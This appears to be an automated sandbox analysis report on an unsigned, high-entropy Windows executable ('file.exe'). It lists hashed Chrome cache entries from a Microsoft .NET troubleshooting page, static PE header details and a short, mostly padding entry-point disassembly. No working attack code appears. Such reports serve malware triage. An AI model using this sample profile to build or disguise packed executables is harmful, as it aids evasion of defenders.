SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25441
Entropy (8bit):	5.152769469811509
Encrypted:	false
SSDEEP:	768:63jAjCjKjvjXLQjt6j+F/XwHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrX:PIFIv11pOVqlh382/rIN1v
MD5:	CCDED74C889AFA3851036BDF0CADB421
SHA1:	E7263595381709693C603531E5F125F10C01641C
SHA-256:	E8577F9831DBFDABD050EB0B30AB35060C7CA337DB0911F7F42C09E6E265AA9D
SHA-512:	3270A6A71CBCA125DADBF9BB3928201D233788CDA14A00DC01865574AC443CADCC2AE80C269657938DC1D9F8F1DB11AAEC48E42D31031635332D9526AF0C9930
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	195712
Entropy (8bit):	5.430058240656712
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVlis:Wof3G0NSkNzMeO7z/l3ll
MD5:	A307DE6214648B16414DC641D7399066
SHA1:	63980CBC7F3DF8838611519460B570EA50BF5751
SHA-256:	99B65058137EDB2B63400C273F6F5A064E3B0244152B916FD8C3C7C3818D9D93
SHA-512:	EE879CC90BF7EF0BE89670D0F0D7F6A85A37324D0C892694D78AE81A28692BE6045A0B59588549533D9AC8E6FC91978778999E37942B530E979D403D95E2D0CD
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25441
Entropy (8bit):	5.152769469811509
Encrypted:	false
SSDEEP:	768:63jAjCjKjvjXLQjt6j+F/XwHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrX:PIFIv11pOVqlh382/rIN1v
MD5:	CCDED74C889AFA3851036BDF0CADB421
SHA1:	E7263595381709693C603531E5F125F10C01641C
SHA-256:	E8577F9831DBFDABD050EB0B30AB35060C7CA337DB0911F7F42C09E6E265AA9D
SHA-512:	3270A6A71CBCA125DADBF9BB3928201D233788CDA14A00DC01865574AC443CADCC2AE80C269657938DC1D9F8F1DB11AAEC48E42D31031635332D9526AF0C9930
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948617141729046
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'922'048 bytes
MD5:	862e98f36ff57242302dea55b980f0b3
SHA1:	a993a6fca492893cbf03492da7e7171666d950e6
SHA256:	5616eb8669cd2d1678827c35b6bb97556fecde6a7028e096b4f09f235359434f
SHA512:	d9c9022001a80a6b72391eee81a121e7ff8ceaa19a866303877da188101855ddde0c66b14d47d0725538ac46e70d5a529b5539b08889194b84daa5bfa14fa2d6
SSDEEP:	24576:fUN3K2Q7B1gkY+XDQJOfGYr55QXI5SzDcqHxquwTjLKcjS+voaWF/xr6Z3orG4N4:fwngmsXq4dr0Y5SzDZuT6YDotqZOG7
TLSH:	1895333B1421D9E5CDAB0173F33B63A425847F44168BAB78122DD26B1FBB06D753386A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................@L...........@..........................pL......P....@.................................\...p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8c4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673F3C51 [Thu Nov 21 13:57:37 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F22FD4098DAh
rdmsr
sbb eax, 00000000h
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5805c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x57000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
